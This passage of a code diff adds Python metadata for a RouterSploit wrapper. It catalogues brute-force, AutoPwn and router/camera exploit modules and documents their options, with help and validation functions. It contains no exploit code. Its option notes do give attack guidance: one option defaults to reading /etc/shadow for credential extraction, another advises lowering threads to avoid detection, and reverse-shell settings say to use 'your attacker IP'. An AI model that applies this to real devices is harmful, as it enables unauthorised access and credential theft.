'tags': ('ssh', 'bruteforce', 'creds', 'generic'),
|
||||||
|
'notes': 'Default port 22. Threaded. Supports batch targets via file://.',
|
||||||
|
},
|
||||||
|
'creds/generic/telnet_bruteforce': {
|
||||||
|
'name': 'Telnet Bruteforce',
|
||||||
|
'description': 'Performs bruteforce attack against Telnet service. '
|
||||||
|
'Displays valid credentials when found.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Multiple devices',),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('telnet', 'bruteforce', 'creds', 'generic'),
|
||||||
|
'notes': 'Default port 23. Common on IoT devices with telnet enabled.',
|
||||||
|
},
|
||||||
|
'creds/generic/snmp_bruteforce': {
|
||||||
|
'name': 'SNMP Bruteforce',
|
||||||
|
'description': 'Performs bruteforce attack against SNMP service. '
|
||||||
|
'Discovers valid community strings.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Multiple devices',),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('snmp', 'bruteforce', 'creds', 'generic', 'community'),
|
||||||
|
'notes': 'Tests SNMP community strings. Default port 161. '
|
||||||
|
'Supports SNMPv1 and SNMPv2c.',
|
||||||
|
},
|
||||||
|
'creds/generic/http_basic_digest_bruteforce': {
|
||||||
|
'name': 'HTTP Basic/Digest Bruteforce',
|
||||||
|
'description': 'Performs bruteforce against HTTP Basic/Digest authentication. '
|
||||||
|
'Displays valid credentials when found.',
|
||||||
|
'authors': ('Marcin Bury', 'Alexander Yakovlev'),
|
||||||
|
'devices': ('Multiple devices',),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('http', 'bruteforce', 'creds', 'generic', 'basic_auth', 'digest'),
|
||||||
|
'notes': 'Targets HTTP authentication. Configure path to the protected URL.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
# SCANNERS
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
'scanners/autopwn': {
|
||||||
|
'name': 'AutoPwn',
|
||||||
|
'description': 'Comprehensive scanner that tests ALL exploit and credential '
|
||||||
|
'modules against a target. The ultimate "scan everything" tool.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Multi',),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('scanner', 'autopwn', 'comprehensive', 'all'),
|
||||||
|
'notes': 'Runs all exploits and creds against the target. '
|
||||||
|
'Can be filtered by vendor. Checks HTTP, FTP, SSH, Telnet, SNMP. '
|
||||||
|
'Very thorough but slow. Use specific scanners for faster results.',
|
||||||
|
},
|
||||||
|
'scanners/routers/router_scan': {
|
||||||
|
'name': 'Router Scanner',
|
||||||
|
'description': 'Scans for router vulnerabilities and weaknesses. '
|
||||||
|
'Tests generic and router-specific exploit modules.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Router',),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('scanner', 'router', 'comprehensive'),
|
||||||
|
'notes': 'Faster than AutoPwn -- only tests router-relevant modules.',
|
||||||
|
},
|
||||||
|
'scanners/cameras/camera_scan': {
|
||||||
|
'name': 'Camera Scanner',
|
||||||
|
'description': 'Scans for IP camera vulnerabilities and weaknesses. '
|
||||||
|
'Tests generic and camera-specific exploit modules.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Cameras',),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('scanner', 'camera', 'ip_camera', 'comprehensive'),
|
||||||
|
'notes': 'Tests all camera-related exploits against the target.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
# EXPLOITS - MISC
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
'exploits/misc/asus/b1m_projector_rce': {
|
||||||
|
'name': 'Asus B1M Projector RCE',
|
||||||
|
'description': 'Exploits Asus B1M Projector RCE allowing root-level '
|
||||||
|
'command execution.',
|
||||||
|
'authors': ('Hacker House', 'Marcin Bury'),
|
||||||
|
'devices': ('Asus B1M Projector',),
|
||||||
|
'references': ('https://www.myhackerhouse.com/asus-b1m-projector-remote-root-0day/',),
|
||||||
|
'tags': ('asus', 'projector', 'rce', 'misc', 'iot'),
|
||||||
|
'notes': 'Targets network-connected projectors.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
# EXPLOITS - MORE ROUTERS
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
'exploits/routers/linksys/smart_wifi_password_disclosure': {
|
||||||
|
'name': 'Linksys Smart WiFi Password Disclosure',
|
||||||
|
'description': 'Exploits information disclosure in Linksys Smart WiFi '
|
||||||
|
'routers to extract passwords.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Linksys Smart WiFi routers',),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('linksys', 'password', 'disclosure', 'router', 'http'),
|
||||||
|
'notes': 'Targets Linksys Smart WiFi web interface.',
|
||||||
|
},
|
||||||
|
'exploits/routers/zyxel/d1000_rce': {
|
||||||
|
'name': 'Zyxel D1000 RCE',
|
||||||
|
'description': 'Exploits remote code execution in Zyxel D1000 modem/routers.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Zyxel D1000',),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('zyxel', 'rce', 'router', 'modem'),
|
||||||
|
'notes': 'Targets Zyxel DSL modem/router combo devices.',
|
||||||
|
},
|
||||||
|
'exploits/routers/huawei/hg520_info_disclosure': {
|
||||||
|
'name': 'Huawei HG520 Info Disclosure',
|
||||||
|
'description': 'Information disclosure in Huawei HG520 home gateway '
|
||||||
|
'allowing extraction of device configuration.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Huawei HG520',),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('huawei', 'info_disclosure', 'router', 'http'),
|
||||||
|
'notes': 'Targets Huawei home gateway web interface.',
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Module Type Mapping ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
MODULE_TYPES = {
|
||||||
|
'exploits': {
|
||||||
|
'name': 'Exploits',
|
||||||
|
'description': 'Vulnerability exploits for routers, cameras, and devices',
|
||||||
|
'color': Colors.RED,
|
||||||
|
},
|
||||||
|
'creds': {
|
||||||
|
'name': 'Credentials',
|
||||||
|
'description': 'Default credential and brute-force modules',
|
||||||
|
'color': Colors.YELLOW,
|
||||||
|
},
|
||||||
|
'scanners': {
|
||||||
|
'name': 'Scanners',
|
||||||
|
'description': 'Automated vulnerability scanners (AutoPwn, etc.)',
|
||||||
|
'color': Colors.CYAN,
|
||||||
|
},
|
||||||
|
'payloads': {
|
||||||
|
'name': 'Payloads',
|
||||||
|
'description': 'Shellcode and payload generators',
|
||||||
|
'color': Colors.MAGENTA,
|
||||||
|
},
|
||||||
|
'encoders': {
|
||||||
|
'name': 'Encoders',
|
||||||
|
'description': 'Payload encoding and obfuscation',
|
||||||
|
'color': Colors.GREEN,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ─── API Functions ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def get_module_info(module_path: str) -> dict:
|
||||||
|
"""Get curated module info by path.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_path: Module path like 'exploits/routers/dlink/dir_300_600_rce'
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Module info dict or None
|
||||||
|
"""
|
||||||
|
return RSF_MODULES.get(module_path)
|
||||||
|
|
||||||
|
|
||||||
|
def get_module_description(module_path: str) -> str:
|
||||||
|
"""Get just the description for a module.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_path: Module path
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Description string or empty string
|
||||||
|
"""
|
||||||
|
info = RSF_MODULES.get(module_path)
|
||||||
|
if info:
|
||||||
|
return info.get('description', '')
|
||||||
|
return ''
|
||||||
|
|
||||||
|
|
||||||
|
def search_modules(query: str) -> list:
|
||||||
|
"""Search curated modules by keyword.
|
||||||
|
|
||||||
|
Searches name, description, tags, devices, and path.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
query: Search string (case-insensitive)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of matching module info dicts (with 'path' key added)
|
||||||
|
"""
|
||||||
|
results = []
|
||||||
|
query_lower = query.lower()
|
||||||
|
|
||||||
|
for path, info in RSF_MODULES.items():
|
||||||
|
# Search in path
|
||||||
|
if query_lower in path.lower():
|
||||||
|
results.append({**info, 'path': path})
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Search in name
|
||||||
|
if query_lower in info.get('name', '').lower():
|
||||||
|
results.append({**info, 'path': path})
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Search in description
|
||||||
|
if query_lower in info.get('description', '').lower():
|
||||||
|
results.append({**info, 'path': path})
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Search in tags
|
||||||
|
if any(query_lower in tag.lower() for tag in info.get('tags', ())):
|
||||||
|
results.append({**info, 'path': path})
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Search in devices
|
||||||
|
if any(query_lower in dev.lower() for dev in info.get('devices', ())):
|
||||||
|
results.append({**info, 'path': path})
|
||||||
|
continue
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
|
|
||||||
|
def get_modules_by_type(module_type: str) -> list:
|
||||||
|
"""Get curated modules filtered by type.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_type: One of 'exploits', 'creds', 'scanners', etc.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of matching module info dicts (with 'path' key added)
|
||||||
|
"""
|
||||||
|
results = []
|
||||||
|
for path, info in RSF_MODULES.items():
|
||||||
|
if path.startswith(module_type + '/'):
|
||||||
|
results.append({**info, 'path': path})
|
||||||
|
return results
|
||||||
|
|
||||||
|
|
||||||
|
def format_module_help(module_path: str) -> str:
|
||||||
|
"""Format detailed help text for a module.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_path: Module path
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Formatted help string
|
||||||
|
"""
|
||||||
|
info = RSF_MODULES.get(module_path)
|
||||||
|
if not info:
|
||||||
|
return f" {Colors.YELLOW}No curated info for '{module_path}'{Colors.RESET}"
|
||||||
|
|
||||||
|
lines = []
|
||||||
|
lines.append(f" {Colors.BOLD}{Colors.WHITE}{info.get('name', module_path)}{Colors.RESET}")
|
||||||
|
lines.append(f" {Colors.DIM}Path: {module_path}{Colors.RESET}")
|
||||||
|
lines.append(f"")
|
||||||
|
lines.append(f" {info.get('description', '')}")
|
||||||
|
|
||||||
|
if info.get('authors'):
|
||||||
|
authors = ', '.join(info['authors'])
|
||||||
|
lines.append(f"")
|
||||||
|
lines.append(f" {Colors.CYAN}Authors:{Colors.RESET} {authors}")
|
||||||
|
|
||||||
|
if info.get('devices'):
|
||||||
|
lines.append(f" {Colors.CYAN}Devices:{Colors.RESET}")
|
||||||
|
for dev in info['devices']:
|
||||||
|
lines.append(f" - {dev}")
|
||||||
|
|
||||||
|
if info.get('references'):
|
||||||
|
lines.append(f" {Colors.CYAN}References:{Colors.RESET}")
|
||||||
|
for ref in info['references']:
|
||||||
|
lines.append(f" {Colors.DIM}{ref}{Colors.RESET}")
|
||||||
|
|
||||||
|
if info.get('notes'):
|
||||||
|
lines.append(f"")
|
||||||
|
lines.append(f" {Colors.YELLOW}Note:{Colors.RESET} {info['notes']}")
|
||||||
|
|
||||||
|
return '\n'.join(lines)
|
||||||
|
|
||||||
|
|
||||||
|
def get_all_modules() -> dict:
|
||||||
|
"""Get all curated modules.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The full RSF_MODULES dict
|
||||||
|
"""
|
||||||
|
return RSF_MODULES
|
||||||
|
|
||||||
|
|
||||||
|
def get_type_info(module_type: str) -> dict:
|
||||||
|
"""Get info about a module type.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_type: One of 'exploits', 'creds', 'scanners', etc.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Type info dict or None
|
||||||
|
"""
|
||||||
|
return MODULE_TYPES.get(module_type)
|
||||||
439
core/rsf_terms.py
Normal file
439
core/rsf_terms.py
Normal file
@ -0,0 +1,439 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH RouterSploit Option Term Bank
|
||||||
|
Centralized descriptions and validation for RSF module options.
|
||||||
|
Mirrors core/msf_terms.py patterns for RSF-specific options.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from .banner import Colors
|
||||||
|
|
||||||
|
|
||||||
|
# ─── RSF Settings Definitions ───────────────────────────────────────────────
|
||||||
|
|
||||||
|
RSF_SETTINGS = {
|
||||||
|
# ── Target Options ──────────────────────────────────────────────────────
|
||||||
|
'target': {
|
||||||
|
'description': 'Target IPv4 or IPv6 address of the device to test. '
|
||||||
|
'Can also be set to file:// path for batch targeting '
|
||||||
|
'(e.g. file:///tmp/targets.txt with one IP per line).',
|
||||||
|
'input_type': 'ip',
|
||||||
|
'examples': ['192.168.1.1', '10.0.0.1', 'file:///tmp/targets.txt'],
|
||||||
|
'default': '',
|
||||||
|
'aliases': ['TARGET', 'rhost'],
|
||||||
|
'category': 'target',
|
||||||
|
'required': True,
|
||||||
|
'notes': 'Most RSF modules require a target. Batch mode via file:// '
|
||||||
|
'is supported by modules decorated with @multi.',
|
||||||
|
},
|
||||||
|
'port': {
|
||||||
|
'description': 'Target port number for the service being tested. '
|
||||||
|
'Default depends on the module protocol (80 for HTTP, '
|
||||||
|
'21 for FTP, 22 for SSH, etc.).',
|
||||||
|
'input_type': 'port',
|
||||||
|
'examples': ['80', '443', '8080', '22'],
|
||||||
|
'default': '',
|
||||||
|
'aliases': ['PORT', 'rport'],
|
||||||
|
'category': 'target',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Each module sets an appropriate default port. Only override '
|
||||||
|
'if the target runs on a non-standard port.',
|
||||||
|
},
|
||||||
|
'ssl': {
|
||||||
|
'description': 'Enable SSL/TLS for the connection. Set to true for '
|
||||||
|
'HTTPS targets or services using encrypted transport.',
|
||||||
|
'input_type': 'boolean',
|
||||||
|
'examples': ['true', 'false'],
|
||||||
|
'default': 'false',
|
||||||
|
'aliases': ['SSL', 'use_ssl'],
|
||||||
|
'category': 'connection',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Automatically set for modules targeting HTTPS services.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ── Authentication/Credential Options ───────────────────────────────────
|
||||||
|
'threads': {
|
||||||
|
'description': 'Number of threads for brute-force or scanning operations. '
|
||||||
|
'Higher values are faster but may trigger rate-limiting.',
|
||||||
|
'input_type': 'integer',
|
||||||
|
'examples': ['1', '4', '8', '16'],
|
||||||
|
'default': '8',
|
||||||
|
'aliases': ['THREADS'],
|
||||||
|
'category': 'scan',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Default is typically 8. Reduce for slower targets or to '
|
||||||
|
'avoid detection. Increase for LAN testing.',
|
||||||
|
},
|
||||||
|
'usernames': {
|
||||||
|
'description': 'Username or wordlist for credential testing. '
|
||||||
|
'Single value, comma-separated list, or file path.',
|
||||||
|
'input_type': 'wordlist',
|
||||||
|
'examples': ['admin', 'admin,root,user', 'file:///tmp/users.txt'],
|
||||||
|
'default': 'admin',
|
||||||
|
'aliases': ['USERNAMES', 'username'],
|
||||||
|
'category': 'auth',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'For brute-force modules. Use file:// prefix for wordlist files. '
|
||||||
|
'Default credential modules have built-in lists.',
|
||||||
|
},
|
||||||
|
'passwords': {
|
||||||
|
'description': 'Password or wordlist for credential testing. '
|
||||||
|
'Single value, comma-separated list, or file path.',
|
||||||
|
'input_type': 'wordlist',
|
||||||
|
'examples': ['password', 'admin,password,1234', 'file:///tmp/pass.txt'],
|
||||||
|
'default': '',
|
||||||
|
'aliases': ['PASSWORDS', 'password'],
|
||||||
|
'category': 'auth',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'For brute-force modules. Default credential modules use '
|
||||||
|
'built-in vendor-specific password lists.',
|
||||||
|
},
|
||||||
|
'stop_on_success': {
|
||||||
|
'description': 'Stop brute-force attack after finding the first valid '
|
||||||
|
'credential pair.',
|
||||||
|
'input_type': 'boolean',
|
||||||
|
'examples': ['true', 'false'],
|
||||||
|
'default': 'true',
|
||||||
|
'aliases': ['STOP_ON_SUCCESS'],
|
||||||
|
'category': 'auth',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Set to false to enumerate all valid credentials.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ── Verbosity/Output Options ────────────────────────────────────────────
|
||||||
|
'verbosity': {
|
||||||
|
'description': 'Control output verbosity level. When true, modules '
|
||||||
|
'print detailed progress information.',
|
||||||
|
'input_type': 'boolean',
|
||||||
|
'examples': ['true', 'false'],
|
||||||
|
'default': 'true',
|
||||||
|
'aliases': ['VERBOSITY', 'verbose'],
|
||||||
|
'category': 'output',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Disable for cleaner output during automated scanning.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ── Protocol-Specific Ports ─────────────────────────────────────────────
|
||||||
|
'http_port': {
|
||||||
|
'description': 'HTTP port for web-based exploits and scanners.',
|
||||||
|
'input_type': 'port',
|
||||||
|
'examples': ['80', '8080', '8443'],
|
||||||
|
'default': '80',
|
||||||
|
'aliases': ['HTTP_PORT'],
|
||||||
|
'category': 'target',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Used by HTTP-based modules. Change for non-standard web ports.',
|
||||||
|
},
|
||||||
|
'ftp_port': {
|
||||||
|
'description': 'FTP port for file transfer protocol modules.',
|
||||||
|
'input_type': 'port',
|
||||||
|
'examples': ['21', '2121'],
|
||||||
|
'default': '21',
|
||||||
|
'aliases': ['FTP_PORT'],
|
||||||
|
'category': 'target',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Standard FTP port is 21.',
|
||||||
|
},
|
||||||
|
'ssh_port': {
|
||||||
|
'description': 'SSH port for secure shell modules.',
|
||||||
|
'input_type': 'port',
|
||||||
|
'examples': ['22', '2222'],
|
||||||
|
'default': '22',
|
||||||
|
'aliases': ['SSH_PORT'],
|
||||||
|
'category': 'target',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Standard SSH port is 22.',
|
||||||
|
},
|
||||||
|
'telnet_port': {
|
||||||
|
'description': 'Telnet port for telnet-based modules.',
|
||||||
|
'input_type': 'port',
|
||||||
|
'examples': ['23', '2323'],
|
||||||
|
'default': '23',
|
||||||
|
'aliases': ['TELNET_PORT'],
|
||||||
|
'category': 'target',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Standard Telnet port is 23. Many IoT devices use telnet.',
|
||||||
|
},
|
||||||
|
'snmp_port': {
|
||||||
|
'description': 'SNMP port for SNMP-based modules.',
|
||||||
|
'input_type': 'port',
|
||||||
|
'examples': ['161'],
|
||||||
|
'default': '161',
|
||||||
|
'aliases': ['SNMP_PORT'],
|
||||||
|
'category': 'target',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Standard SNMP port is 161.',
|
||||||
|
},
|
||||||
|
'snmp_community': {
|
||||||
|
'description': 'SNMP community string for SNMP-based modules.',
|
||||||
|
'input_type': 'string',
|
||||||
|
'examples': ['public', 'private'],
|
||||||
|
'default': 'public',
|
||||||
|
'aliases': ['SNMP_COMMUNITY', 'community'],
|
||||||
|
'category': 'auth',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Default community strings "public" and "private" are common '
|
||||||
|
'on unconfigured devices.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ── File/Path Options ───────────────────────────────────────────────────
|
||||||
|
'filename': {
|
||||||
|
'description': 'File path to read or write on the target device. '
|
||||||
|
'Used by path traversal and file disclosure modules.',
|
||||||
|
'input_type': 'string',
|
||||||
|
'examples': ['/etc/passwd', '/etc/shadow', '/etc/config/shadow'],
|
||||||
|
'default': '/etc/shadow',
|
||||||
|
'aliases': ['FILENAME', 'filepath'],
|
||||||
|
'category': 'file',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Common targets: /etc/passwd, /etc/shadow for credential extraction.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ── Payload Options ─────────────────────────────────────────────────────
|
||||||
|
'lhost': {
|
||||||
|
'description': 'Local IP address for reverse connections (listener).',
|
||||||
|
'input_type': 'ip',
|
||||||
|
'examples': ['192.168.1.100', '10.0.0.50'],
|
||||||
|
'default': '',
|
||||||
|
'aliases': ['LHOST'],
|
||||||
|
'category': 'payload',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Required for reverse shell payloads. Use your attacker IP.',
|
||||||
|
},
|
||||||
|
'lport': {
|
||||||
|
'description': 'Local port for reverse connections (listener).',
|
||||||
|
'input_type': 'port',
|
||||||
|
'examples': ['4444', '5555', '8888'],
|
||||||
|
'default': '5555',
|
||||||
|
'aliases': ['LPORT'],
|
||||||
|
'category': 'payload',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Required for reverse shell payloads.',
|
||||||
|
},
|
||||||
|
'rport': {
|
||||||
|
'description': 'Remote port for bind shell connections.',
|
||||||
|
'input_type': 'port',
|
||||||
|
'examples': ['5555', '4444'],
|
||||||
|
'default': '5555',
|
||||||
|
'aliases': ['RPORT'],
|
||||||
|
'category': 'payload',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Required for bind shell payloads.',
|
||||||
|
},
|
||||||
|
'encoder': {
|
||||||
|
'description': 'Encoder to use for payload obfuscation.',
|
||||||
|
'input_type': 'string',
|
||||||
|
'examples': ['base64', 'xor'],
|
||||||
|
'default': '',
|
||||||
|
'aliases': ['ENCODER'],
|
||||||
|
'category': 'payload',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Optional. Available encoders depend on payload architecture.',
|
||||||
|
},
|
||||||
|
'output': {
|
||||||
|
'description': 'Output format for generated payloads.',
|
||||||
|
'input_type': 'string',
|
||||||
|
'examples': ['python', 'elf', 'c'],
|
||||||
|
'default': 'python',
|
||||||
|
'aliases': ['OUTPUT'],
|
||||||
|
'category': 'payload',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Architecture-specific payloads support elf, c, and python output.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ── Vendor/Device Options ───────────────────────────────────────────────
|
||||||
|
'vendor': {
|
||||||
|
'description': 'Target device vendor for vendor-specific modules.',
|
||||||
|
'input_type': 'string',
|
||||||
|
'examples': ['dlink', 'cisco', 'netgear', 'tp-link'],
|
||||||
|
'default': '',
|
||||||
|
'aliases': ['VENDOR'],
|
||||||
|
'category': 'target',
|
||||||
|
'required': False,
|
||||||
|
'notes': 'Used to filter modules by vendor.',
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ── Setting Categories ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
SETTING_CATEGORIES = {
|
||||||
|
'target': {
|
||||||
|
'name': 'Target Options',
|
||||||
|
'description': 'Target device addressing',
|
||||||
|
'color': Colors.RED,
|
||||||
|
},
|
||||||
|
'connection': {
|
||||||
|
'name': 'Connection Options',
|
||||||
|
'description': 'Network connection parameters',
|
||||||
|
'color': Colors.CYAN,
|
||||||
|
},
|
||||||
|
'auth': {
|
||||||
|
'name': 'Authentication Options',
|
||||||
|
'description': 'Credentials and authentication',
|
||||||
|
'color': Colors.YELLOW,
|
||||||
|
},
|
||||||
|
'scan': {
|
||||||
|
'name': 'Scan Options',
|
||||||
|
'description': 'Scanning and threading parameters',
|
||||||
|
'color': Colors.GREEN,
|
||||||
|
},
|
||||||
|
'output': {
|
||||||
|
'name': 'Output Options',
|
||||||
|
'description': 'Verbosity and output control',
|
||||||
|
'color': Colors.WHITE,
|
||||||
|
},
|
||||||
|
'file': {
|
||||||
|
'name': 'File Options',
|
||||||
|
'description': 'File path parameters',
|
||||||
|
'color': Colors.MAGENTA,
|
||||||
|
},
|
||||||
|
'payload': {
|
||||||
|
'name': 'Payload Options',
|
||||||
|
'description': 'Payload generation and delivery',
|
||||||
|
'color': Colors.RED,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ─── API Functions ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def get_setting_info(name: str) -> dict:
|
||||||
|
"""Get full setting information by name.
|
||||||
|
|
||||||
|
Checks primary name first, then aliases.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
name: Setting name (case-insensitive)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Setting dict or None
|
||||||
|
"""
|
||||||
|
name_lower = name.lower()
|
||||||
|
|
||||||
|
# Direct lookup
|
||||||
|
if name_lower in RSF_SETTINGS:
|
||||||
|
return RSF_SETTINGS[name_lower]
|
||||||
|
|
||||||
|
# Alias lookup
|
||||||
|
for key, info in RSF_SETTINGS.items():
|
||||||
|
if name_lower in [a.lower() for a in info.get('aliases', [])]:
|
||||||
|
return info
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def get_setting_prompt(name: str, default=None, required: bool = False) -> str:
|
||||||
|
"""Get a formatted input prompt for a setting.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
name: Setting name
|
||||||
|
default: Default value to show
|
||||||
|
required: Whether the setting is required
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Formatted prompt string
|
||||||
|
"""
|
||||||
|
info = get_setting_info(name)
|
||||||
|
|
||||||
|
if info:
|
||||||
|
if default is None:
|
||||||
|
default = info.get('default', '')
|
||||||
|
desc = info.get('description', '').split('.')[0] # First sentence
|
||||||
|
req = f" {Colors.RED}(required){Colors.RESET}" if required else ""
|
||||||
|
if default:
|
||||||
|
return f" {Colors.WHITE}{name}{Colors.RESET} [{default}]{req}: "
|
||||||
|
return f" {Colors.WHITE}{name}{Colors.RESET}{req}: "
|
||||||
|
else:
|
||||||
|
if default:
|
||||||
|
return f" {Colors.WHITE}{name}{Colors.RESET} [{default}]: "
|
||||||
|
return f" {Colors.WHITE}{name}{Colors.RESET}: "
|
||||||
|
|
||||||
|
|
||||||
|
def format_setting_help(name: str, include_examples: bool = True,
|
||||||
|
include_notes: bool = True) -> str:
|
||||||
|
"""Get formatted help text for a setting.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
name: Setting name
|
||||||
|
include_examples: Include usage examples
|
||||||
|
include_notes: Include additional notes
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Formatted help string
|
||||||
|
"""
|
||||||
|
info = get_setting_info(name)
|
||||||
|
if not info:
|
||||||
|
return f" {Colors.YELLOW}No help available for '{name}'{Colors.RESET}"
|
||||||
|
|
||||||
|
lines = []
|
||||||
|
lines.append(f" {Colors.BOLD}{Colors.WHITE}{name.upper()}{Colors.RESET}")
|
||||||
|
lines.append(f" {info['description']}")
|
||||||
|
|
||||||
|
if info.get('input_type'):
|
||||||
|
lines.append(f" {Colors.DIM}Type: {info['input_type']}{Colors.RESET}")
|
||||||
|
|
||||||
|
if info.get('default'):
|
||||||
|
lines.append(f" {Colors.DIM}Default: {info['default']}{Colors.RESET}")
|
||||||
|
|
||||||
|
if include_examples and info.get('examples'):
|
||||||
|
lines.append(f" {Colors.DIM}Examples: {', '.join(info['examples'])}{Colors.RESET}")
|
||||||
|
|
||||||
|
if include_notes and info.get('notes'):
|
||||||
|
lines.append(f" {Colors.DIM}Note: {info['notes']}{Colors.RESET}")
|
||||||
|
|
||||||
|
return '\n'.join(lines)
|
||||||
|
|
||||||
|
|
||||||
|
def validate_setting_value(name: str, value: str) -> tuple:
|
||||||
|
"""Validate a setting value against its type.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
name: Setting name
|
||||||
|
value: Value to validate
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (is_valid, error_message)
|
||||||
|
"""
|
||||||
|
info = get_setting_info(name)
|
||||||
|
if not info:
|
||||||
|
return True, "" # Unknown settings pass validation
|
||||||
|
|
||||||
|
input_type = info.get('input_type', 'string')
|
||||||
|
|
||||||
|
if input_type == 'port':
|
||||||
|
try:
|
||||||
|
port = int(value)
|
||||||
|
if 0 <= port <= 65535:
|
||||||
|
return True, ""
|
||||||
|
return False, "Port must be between 0 and 65535"
|
||||||
|
except ValueError:
|
||||||
|
return False, "Port must be a number"
|
||||||
|
|
||||||
|
elif input_type == 'ip':
|
||||||
|
# Allow file:// paths for batch targeting
|
||||||
|
if value.startswith('file://'):
|
||||||
|
return True, ""
|
||||||
|
# Basic IPv4 validation
|
||||||
|
import re
|
||||||
|
if re.match(r'^(\d{1,3}\.){3}\d{1,3}$', value):
|
||||||
|
parts = value.split('.')
|
||||||
|
if all(0 <= int(p) <= 255 for p in parts):
|
||||||
|
return True, ""
|
||||||
|
return False, "Invalid IP address octets"
|
||||||
|
# IPv6 - basic check
|
||||||
|
if ':' in value:
|
||||||
|
return True, ""
|
||||||
|
return False, "Expected IPv4 address, IPv6 address, or file:// path"
|
||||||
|
|
||||||
|
elif input_type == 'boolean':
|
||||||
|
if value.lower() in ('true', 'false', '1', '0', 'yes', 'no'):
|
||||||
|
return True, ""
|
||||||
|
return False, "Expected true/false"
|
||||||
|
|
||||||
|
elif input_type == 'integer':
|
||||||
|
try:
|
||||||
|
int(value)
|
||||||
|
return True, ""
|
||||||
|
except ValueError:
|
||||||
|
return False, "Expected an integer"
|
||||||
|
|
||||||
|
return True, ""
|
||||||
712
core/sites_db.py
Normal file
712
core/sites_db.py
